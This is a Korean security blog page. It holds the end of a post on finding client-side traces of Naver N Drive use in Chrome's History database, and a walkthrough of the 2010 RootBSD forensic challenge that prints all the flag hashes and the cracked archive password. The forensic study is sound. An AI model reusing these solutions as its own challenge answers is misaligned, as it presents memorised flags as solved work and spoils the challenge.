N 드라이브는 응용 프로그램말고도 웹 브라우저를 통해 접근이 가능하다. 웹 브라우저로 접근이 이루어졌는지 확인하고 싶다면 "http://ndrive2.naver.com" 문자열을 기준으로 검색하면 된다. 글쓴이는 구글 크롬을 이용하여 접근 했고 그 흔적을 찾아 보았다. IE라면 index.dat 또는 WebCacheV24.dat 파일을 분석하면 된다. 구글 크롬의 경우 History 파일들 중 현재 달(月)의 정보를 저장하고 있는 History 파일을 열고 pages_content 테이블을 분석하면 된다.


[그림 6 - 구글 크롬의 History 파일]


구글 크롬의 경우 열어본 페이지의 내용을 그대로 저장하기 때문에(c2body 칼럼) 정확하게 어떤 파일이 현재 N 드라이브에 존재하고 있는지 확인이 가능하다.


[그림 7 - c2body 칼럼에 저장되어 있는 페이지 정보]



2. N 드라이브에 존재하고 있는 파일 획득 방안

사실 이 부분은 기술적인 부분 보다는 합법적 능력과 사용자에게서 얻은 사용자 계정 정보가 필요하다. 사용자에게 사용자 계정 정보를 얻어 로그인 해 파일을 얻거나 사용자가 사용자 계정 정보 제공을 거부할 시 정확한 위법사실은 클라우드 서비스 업체에 알려 정상적인 경로를 통해 파일을 얻는 방법 밖에 존재하지 않는다.

이 두가지 방법외에 다른 방법, 특히 합법적이지 않은 경로를 통해 얻은 파일은 증거로 채택되기 어렵기 때문에 되도록이면 위 방법으로 증거가 될만한 파일이 존재하는지 파악해 존재한다는 증거를 근거로 해당 파일을 획득해야 할 것이다.




이렇게 클라이언트 측에서 획득 할 수 있는 N 드라이브의 흔적 또는 증거들을 알아보았다. 아직까지는 클라우드 포렌식에 있어 여러 문제점이 존재하기 때문에 클라우드 서버 자체를 분석하는데에는 무리가 따른다. 그러므로 이와 같이 클라이언트 측에서 해당 클라우드 서비스에 대한 여러 정보를 최대한 획득 해 중요 파일을 획득하는데 그 정보를 사용해야 할 것이다.

  1. 육항 2012.09.17 14:00

    오 좋다 좋아ㅋㅋ

    • Favicon of https://maj3sty.tistory.com BlogIcon MaJ3stY 2012.09.17 17:11 신고

      오오 처음 방문해 주신듯 하네요 ㅋㅋ 감사합니당

  2. syd101 2012.09.26 22:24

    MaJ3stY님
    codegate 2012, forensic 300, 400문제에서 다운로드받는 파일(약 30MB) 7z 파일 있으면 syd101@daum.net으로 보내주시면 고맙겠습니다. 아무리찾아도 없어서.. 감사합니다.

    • Favicon of https://maj3sty.tistory.com BlogIcon MaJ3stY 2012.10.07 16:13 신고

      http://repo.shell-storm.org/CTF/CodeGate-2012/

      여기서 받으시면 됩니다.

  3. smile 2013.01.26 21:11

    혹시 포랜식 툴은 무슨 툴인가요?

    • Favicon of https://maj3sty.tistory.com BlogIcon MaJ3stY 2013.01.27 09:27 신고

      포렌식 툴은 아닙니다. 일반적인 SQLite Browser 입니다.

Google에서 포렌식 Challenge 목록을 크롤링 중 소규모 Forensic Challenge를 발견하였다. RootBSD 라는 곳에서 주최한 대회로 2010년에 열린 것 같다. 문제의 난이도는 쉬운 편이며, 참가 인원은 30팀 정도 된다고 한다. 대회 방식은 질/답 형식이 아닌 flag 값을 제일 먼저 정확하게 찾아 주최측에 메일로 인증을 받는 형식이다. 찾아야 할 해쉬 값은 총 10개이며 10개 모두 찾아 이메일로 한번에 보내야 한다.


문제 난이도는 어렵지 않으니 훑어 보기만 해도 될 것이다.


일단 문제 파일을 받아보면 tar.gz로 압축되어 있는데 압축을 해제 해 보면 [그림 1]과 같은 디렉토리들이 보이는 걸 확인 할 수 있을 것이다.



[그림 1 - 문제 목록]


각 디렉토리에 있는 파일들을 분석하여 해쉬 값을 찾아내는 것이 목표이니 Documents 디렉토리를 시작으로 하나하나씩 찾아 보도록 하겠다.


Hash Flag 1.

Documents 디렉토리로 이동해 보면 다음과 같은 파일들이 보인다.


sansforensics@maj3sty-desktop:~/Desktop/forensics_challenge/Documents$ ls -al

total 4560

drwxr-xr-x 2 sansforensics sansforensics    4096 2012-06-16 14:55 .

drwxr-xr-x 8 sansforensics sansforensics    4096 2010-07-16 07:04 ..

-rw-r--r-- 1 sansforensics sansforensics  370668 2010-07-15 06:38 03-icar-fractal.pdf

-rw-r--r-- 1 sansforensics sansforensics 1175682 2010-07-15 06:39 fractales.pdf

-rw-r--r-- 1 sansforensics sansforensics  965314 2010-07-15 06:39 fractal.pdf

-rw-r--r-- 1 sansforensics sansforensics  582934 2010-07-15 06:42 Fractal.pdf

-rw-r--r-- 1 sansforensics sansforensics  289244 2010-07-15 06:42 fractals2.pdf

-rw-r--r-- 1 sansforensics sansforensics 1262029 2010-07-15 07:04 World_of_Fractal.pdf

sansforensics@maj3sty-desktop:~/Desktop/forensics_challenge/Documents$ file *

03-icar-fractal.pdf:  PDF document, version 1.3

fractales.pdf:        PDF document, version 1.4

fractal.pdf:          PDF document, version 1.6

Fractal.pdf:          PDF document, version 1.4

fractals2.pdf:        PDF document, version 1.3

World_of_Fractal.pdf: PDF document, version 1.3


여러 pdf 파일들이 보이는데 해당 파일들을 하나씩 열어보면 꽤(?) 공을 들인 문서라는 느낌을 받는다.

[그림 2 - 03-icar-fractal.pdf]


문제를 만들기 위해 이렇게 정성들여 pdf 파일을 만들 것 같지는 않아 혹시나 하고 원본 파일에 해쉬 값을 집어 넣은건 아닐지 해서 Google 검색 엔진을 이용해 검색을 시도 해 보았다.



[그림 3 - Google 검색 결과]


추측대로 원본 파일이 존재하였다. fractals2.pdf 파일을 존재하고 모든 문서 파일의 원본을 구 할 수 있다. 이제 동일 파일인지 확인하기 위해 md5 해쉬 값을 확인하여 보자.


sansforensics@maj3sty-desktop:~/Desktop/forensics_challenge/Documents$ md5sum *

3dc8480a8762d1eb2af09482468b0298  03-icar-fractal_o.pdf

3dc8480a8762d1eb2af09482468b0298  03-icar-fractal.pdf

31fb327fcf1f128a7df102e4b13b7727  fractal-1_o.pdf

31fb327fcf1f128a7df102e4b13b7727  fractal-1.pdf

8dcdaea419993e2fdb7f736d539d94da  fractales_o.pdf

8dcdaea419993e2fdb7f736d539d94da  fractales.pdf

07528724e9c0aea37656e0c794ce30d7  fractal_o.pdf

07528724e9c0aea37656e0c794ce30d7  fractal.pdf

3801073a72e037ee60b532cb8a1254dc  fractals2.pdf

6263b0228a08fe3de7677ad2a5cba621  World_of_Fractal_o.pdf

bdbf94bb16895468409f68ecf9401e02  World_of_Fractal.pdf


md5 해쉬 값이 같은 문서들이 있는 것으로 봐서 해당 파일들은 인터넷에서 다운받아 아무런 조작도 가해지지 않았다는 것으로 이해 할 수 있다. 찾지 못한  fractals2.pdf 파일과 md5 해쉬 값이 다른 World_of_Fractal.pdf 문서가 의심스럽다. 하지만 fractals2.pdf는 찾지 못했을 뿐 찾았더라면 아마 같은 해쉬 값을 출력 했을 것으로 예상되니 해쉬 값이 다른 World_of_Fractal.pdf 문서 파일을 조사해 보도록 하겠다. 원본 파일에서 어느 부분을 조작 했는지 알아보기 위해 diff 명령으로 두 파일을 비교 해 보자.

sansforensics@maj3sty-desktop:~/Desktop/forensics_challenge/Documents$ diff -u <(xxd World_of_Fractal.pdf) <(xxd World_of_Fractal_o.pdf)
--- /dev/fd/63 2012-06-16 15:45:10.157927386 +0900
+++ /dev/fd/62 2012-06-16 15:45:10.157927386 +0900
@@ -77537,9 +77537,9 @@
 012ee00: 6f62 6a0d 3c3c 200d 2f50 726f 6475 6365  obj.<< ./Produce
 012ee10: 7220 2841 6372 6f62 6174 2044 6973 7469  r (Acrobat Disti
 012ee20: 6c6c 6572 2035 2e30 205c 2857 696e 646f  ller 5.0 \(Windo
-012ee30: 7773 5c29 290d 2f41 7574 686f 7220 2866  ws\))./Author (f
-012ee40: 3138 3039 3834 3465 6161 3165 6265 3035  1809844eaa1ebe05
-012ee50: 3062 6434 3937 3361 3435 3662 3135 3029  0bd4973a456b150)
+012ee30: 7773 5c29 290d 2f41 7574 686f 7220 286d  ws\))./Author (m
+012ee40: 6f6f 6368 6929 0d2f 4372 6561 746f 7220  oochi)./Creator 
+012ee50: 2841 6372 6f62 6174 2050 4446 4d61 6b65  (Acrobat PDFMake
 012ee60: 7220 352e 3020 666f 7220 576f 7264 290d  r 5.0 for Word).
 012ee70: 2f4d 6f64 4461 7465 2028 443a 3230 3032  /ModDate (D:2002
 012ee80: 3034 3039 3137 3336 3233 2b30 3827 3030  0409173623+08'00

Author 부분에 원본에 있던 moochi 부분을 지우고 해쉬 값을 넣은 것을 볼 수 있다.


flag : f1809844eaa1ebe050bd4973a456b150


Hash Flag 2.

Download 디렉토리에 보면 pcap 파일만 존재한다. 간단하게 NetworkMiner로 열어보면 세션이 하나만 존재하는 것을 알 수 있다.


[그림 4 - NetworkMiner]


Files 탭을 보면 파일이 하나 존재하는 것을 알 수 있는데 해당 파일 이름이 flags.rar 이다. 이 파일 내용을 보면 flags.jpg라는 이미지 파일이 하나 압축되어 있는데 비밀번호가 걸려 있어 당장 해당 파일을 열어보지는 못한다. 비밀번호를 크랙해야 하는데 문제 설명 페이지에서는 다음과 같이 힌트를 제시하고 있다.


Petit indice pour eviter de perdre trop de temps sur le bruteforce :

- Les passes font maximum 5 charactere uniquement des lettres en minuscule.

- Pour le rar c'est quelque chose que j'affectionne tout particulierement en 5 lettres.


Brute Force에 너무 시간을 잃지 않길 바라면서 힌트를 준다 :

- 비밀번호는 소문자로 최대 5글자이다.

- 내가 좋아하는 것들 중 5글자 인 것(?)


두 번째 힌트는 외국인에게는 도움이 되지 않는 힌트이다. 첫 번째 힌트를 기억하고 Brute Force 공격을 하면 [그림 5]와 같이 비밀번호를 얻을 수 있다.


[그림 5 - Brute Force 결과]


rar 파일의 비밀번호는 biere(맥주) 이다.... -_-;;;;


비밀번호를 입력하고 해당 rar 파일을 확인하면 해쉬 값을 확인 할 수 있다.


[그림 6 - 해쉬 값]


flag : 203ec6cfbff8288c0ebeec8ea1e70144


Hash Flag 3 ~4.

이번에는 Image 디렉토리에 있는 이미지 파일들을 분석하여 보자.


sansforensics@maj3sty-desktop:~/Desktop/forensics_challenge/Images$ ls -al

total 1612

drwxr-xr-x 2 sansforensics sansforensics   4096 2012-06-16 14:55 .

drwxr-xr-x 8 sansforensics sansforensics   4096 2010-07-16 07:04 ..

-rw-r--r-- 1 sansforensics sansforensics 211705 2010-07-15 06:16 fractale10.jpg

-rw-r--r-- 1 sansforensics sansforensics  32151 2010-07-15 06:16 fractale11.jpg

-rw-r--r-- 1 sansforensics sansforensics  54837 2010-07-15 06:14 fractale1.jpg

-rw-r--r-- 1 sansforensics sansforensics 159526 2010-07-15 06:15 fractale2.png

-rw-r--r-- 1 sansforensics sansforensics  95783 2010-07-15 06:15 fractale3.jpg

-rw-r--r-- 1 sansforensics sansforensics  59793 2010-07-15 06:15 fractale4.jpg

-rw-r--r-- 1 sansforensics sansforensics 407821 2010-07-15 06:15 fractale5.jpg

-rw-r--r-- 1 sansforensics sansforensics  64268 2010-07-15 06:15 fractale6.jpg

-rw-r--r-- 1 sansforensics sansforensics 114952 2010-07-15 06:15 fractale7.jpg

-rw-r--r-- 1 sansforensics sansforensics  72212 2010-07-15 06:16 fractale8.jpg

-rw-r--r-- 1 sansforensics sansforensics  37318 2010-07-15 06:16 fractale9.jpg

-rw-r--r-- 1 sansforensics sansforensics  28468 2010-07-15 06:14 fractale.jpg

-rw-r--r-- 1 sansforensics sansforensics 279641 2010-07-15 06:35 jpg_NDH080408ak.jpg


마지막 파일만 다른 파일들과 다르게 이름이 완전히 다르다. 해당 파일의 정보를 보면 다른 파일들과 사뭇 다르다는 것을 확신 할 수 있다.


sansforensics@maj3sty-desktop:~/Desktop/forensics_challenge/Images$ file *

fractale10.jpg:      JPEG image data, JFIF standard 1.01

fractale11.jpg:      JPEG image data, JFIF standard 1.00, comment: "LEAD Technologies Inc. V1.01"

fractale1.jpg:       JPEG image data, JFIF standard 1.02

fractale2.png:       PNG image, 600 x 600, 8-bit grayscale, non-interlaced

fractale3.jpg:       JPEG image data, JFIF standard 1.02

fractale4.jpg:       JPEG image data, JFIF standard 1.01

fractale5.jpg:       JPEG image data, JFIF standard 1.01, baseline, precision 0, 4360x498

fractale6.jpg:       JPEG image data, JFIF standard 1.01

fractale7.jpg:       JPEG image data, JFIF standard 1.02

fractale8.jpg:       JPEG image data, JFIF standard 1.01

fractale9.jpg:       JPEG image data, JFIF standard 1.02

fractale.jpg:        JPEG image data, JFIF standard 1.01

jpg_NDH080408ak.jpg: JPEG image data, EXIF standard 2.2


다른 파일들은 일반적인 이미지 파일구조를 가지고 있는데 비해 해당 파일만 EXIF 구조를 가지고 있다. 오프셋을 하나하나 분석하면 좋겠지만 도구로 분석하는 것도 좋은 방법 중 하나이다.(시간 절약)

인터넷에 온라인으로 EXIF를 분석해주는 Viewer들이 많다. 해당 도구 중 하나를 선택하여 사용 해 보자.


[그림 7 - EXIF Viewer]


썸네일에 해쉬 값 이미지가 있는 것을 볼 수 있다.


flag : f2c7ec9225e9158deb7ca7aad0f3504b


또 file * 명령 결과를 보면 EXIF 이미지처럼 어떤 부가 적인 정보를 가지고 있는 파일 두개가 더 있는데 하나는 코멘트를 나타내고 또 하나는 뭔지 모를 정보를 가지고 있다. 코멘트를 출력한 파일은 별볼일 없어보이므로 뭔지모를 baseline, precision 0, 4360x498 이라는 문자열을 출력한 fractale5.jpg 이미지를 한번 살펴보자. 일단 strings 명령어로 살펴보면 바로 처음에 해쉬 값으로 추정 되는 문자열이 보인다.


sansforensics@maj3sty-desktop:~/Desktop/forensics_challenge/Images$ strings fractale5.jpg | more

JFIF

"1dcd64e16d97507052d67a6d0557ee8d


좀 더 정확히 알아보기 위해 jhead 명령어를 사용 해 이미지 파일의 정보를 파싱하여 보면 코멘트에 해당 해쉬 값이 존재하는 것을 알 수 있다.

sansforensics@maj3sty-desktop:~/Desktop/forensics_challenge/Images$ jhead fractale5.jpg 
File name    : fractale5.jpg
File size    : 407821 bytes
File date    : 2010:07:15 06:15:38
Resolution   : 664 x 498
Comment      : 1dcd64e16d97507052d67a6d0557ee8d

flag : 1dcd64e16d97507052d67a6d0557ee8d


Hash Flag 5.

이번에는 Musics 디렉토리로 가보자. 해당 디렉토리에도 mp3 파일 하나만 존재한다. 해당 파일의 속성 창을 열어 여러가지 정보를 봐 보면 앨범 필드에 base64 값으로 추정되는 값이 보인다.


[그림 8 - 속성 창]


하지만 해당 값을 디코딩 하게 되면 올바른 값이 아니라는 메시지와 함께 디코딩 되지 않는다. strings를 이용해 나머지 base64 값이 있는지 찾아보면 다음과 같이 발견 할 수 있다.


sansforensics@maj3sty-desktop:~/Desktop/forensics_challenge/Musics$ strings miel-vie.mp3

.................

VW4gZGUgcGx1cyAzMzA2ZWMwOTdmYz

gzMDgxNzE4MTUxNmVhMjhkZWQzOA==


디코딩 하면 다음과 같은 문자열을 볼 수 있다.  Un de plus 3306ec097fc830817181516ea28ded38

flag : 3306ec097fc830817181516ea28ded38


Hash Flag 6 ~ 7.

이번에는 Private 디렉토리로 가보자. 해당 디렉토리에는 숨겨진 파일 하나와 텍스트 파일 하나가 존재한다.


sansforensics@maj3sty-desktop:~/Desktop/forensics_challenge/Private$ ls -al

total 16

drwxr-xr-x 2 sansforensics sansforensics 4096 2012-06-16 14:55 .

drwxr-xr-x 8 sansforensics sansforensics 4096 2010-07-16 07:04 ..

-rw-r--r-- 1 sansforensics sansforensics   65 2010-07-15 09:00 .facile

-rw-r--r-- 1 sansforensics sansforensics   45 2010-07-15 07:06 priv.txt


먼저 txt 파일부터 보자. 텍스트 파일을 열어보면 다음과 같은 문자열 뿐이 보이지 않는다.

sansforensics@maj3sty-desktop:~/Desktop/forensics_challenge/Private$ cat priv.txt 
Sh mshn lza 55ml6j0m75j563099l3k332m5j64l690

얼핏 보면 해쉬 값으로 보이지만 그렇지가 않다. 앞에 있는 문구를 보게 되면 일반적인 단어가 아니라는 것을 알 수 있다. 어떤 규칙으로 인코딩 되어 있는 듯 하다. 인코딩 방법에는 여러가지가 있지만 가장 기본적인 치환 방법을 적용해 보도록 하자.

치환 암호에는 대표적으로 ROT와 시저암호가 존재한다. ROT를 먼저 시도 해보면 해당 문자열이 ROT로 인코딩 되어 있었다는 것을 알 수 있다.(ROT-19)


[그림 9 - ROT-19]


flag : 55fe6c0f75c563099e3d332f5c64e690


또 숨겨져 있던 .facile 파일을 열어보면 해쉬 값이 존재하는 것을 볼 수 있다.


sansforensics@maj3sty-desktop:~/Desktop/forensics_challenge/Private$ cat .facile 

Pour commencer le plus facile : 8cd4525b78f0488581316bba7734e758


flag : 8cd4525b78f0488581316bba7734e758

아무래도 먼저 이 해쉬를 찾고 기분좋게 시작하라는 의미에서 이렇게 해쉬 하나는 공짜로 주는 것 같다.


Hash Flag 8.

이번에는 숨겨져 있는 디렉토리인 .mozila 디렉토리로 가보자. 해당 디렉토리는 firefox의 Profile을 담고 있는 디렉토리인데 직접 분석을 해도 좋고 간단하게 Profile을 복구 하여 어떤 Profile인지 분석해봐도 좋다. 먼저 Profile을 불러와 어떤 Profile인지 확인 해 보도록 하겠다.


sansforensics@maj3sty-desktop:~/Desktop/forensics_challenge/.mozilla$ firefox --Profilemanager

(firefox-bin:2319): GLib-WARNING **: g_set_prgname() called multiple times


[그림 10 - Firefox ProfileManager]


ProfileManager로 해당 문제의 Profile을 불러와 히스토리를 한번 보면 방문 했던 웹 페이지들을 확인 할 수 있다.


[그림 11 - 히스토리]


방문 했던 페이지 중 flags.txt 페이지가 있다. 해당 페이지로 접속해 보면 404 페이지만 나와 아쉽게도 해쉬 값을 얻을 수는 없다. 참고로 히스토리 기록은 place.sqlite 파일에 기록되어 있다.


Hash Flag 9 ~ 10.

이번에는 마지막으로 남은 FS.dd 파일을 분석해 보자. file 명령어로 살펴보면 일반적인 data 파일로 부트 섹터가 포함된 볼륨의 파일시스템 이미지는 아닌 것 같다. 문자열을 뽑아 보면 다음과 같다.


sansforensics@maj3sty-desktop:~/Desktop/forensics_challenge$ strings FS.dd 

...............

lost+found

flags.jpg

.flags.txt.swp

flags.txtt.swx

JFIF

Created with GIMP

...............

root

kevin-laptop

/mnt/flags.txt

U3210#"! 

Joli : 2843062153121fed0558613602645f81

...............

일단 Joli 부분에 해쉬 값이 보인다.

flag : 2843062153121fed0558613602645f81

또 flag.txt, flags.jpg 가 보이는데 해당 문제 파일에서 foremost를 이용 해 flags.txt와 flags.jpg 파일을 카빙해 보도록 하자.
카빙을 시도하면 txt 파일은 카빙되지 않고 jpg 파일만 카빙되는데 해당 파일을 열어보면 해쉬 값을 확인 할 수 있다.

[그림 12 - 카빙 jpg]


flag : a84774bcf9e00b394d75e4367472e58e


이렇게 해서 해쉬 값 10개(하나는 환경 상 문제로... ㅠㅠ)를 찾아보았다. 별다른 기술을 요구하는 문제들이 아니기 때문에 실제 대회 당시에는 시간 싸움이었을 듯 하다. 개인적으로 포렌식 문제라고 하기에는 대부분 문제들이 맞지 않지 않나 싶다. 파이어폭스 Profile 문제를 제외하고는 말이다..(사실 대회라고 하기에 많이 부족한 것 같다.)


'[+] Hacking > [-] Challenge Report' 카테고리의 다른 글

exploit-exercises Nebula - Level00  (0) 2012.07.25
GitS CTF Packet 200 풀이  (1) 2012.06.29
RootBSD Forensic Challenge 풀이  (2) 2012.06.16
Defcon 2012 CTF Forensic 400 Write-up  (7) 2012.06.06
GitS 2012 - TeL aViv+  (5) 2012.05.05
  1. Favicon of https://tistory.hackerc.com BlogIcon 해커 C 2012.06.21 19:03 신고

    안녕하세요~ 해커 C 다녀갑니다. ㅎㅎ

    꼼꼼한 풀이 잘보고 갑니다. 꼼꼼이 훌터보느라 눈이 뱅글뱅글 ~ 열이 나네요 !!ㅎㅎ

    맛있는 저녁 시간 되세요 ~ ^^

+ Recent posts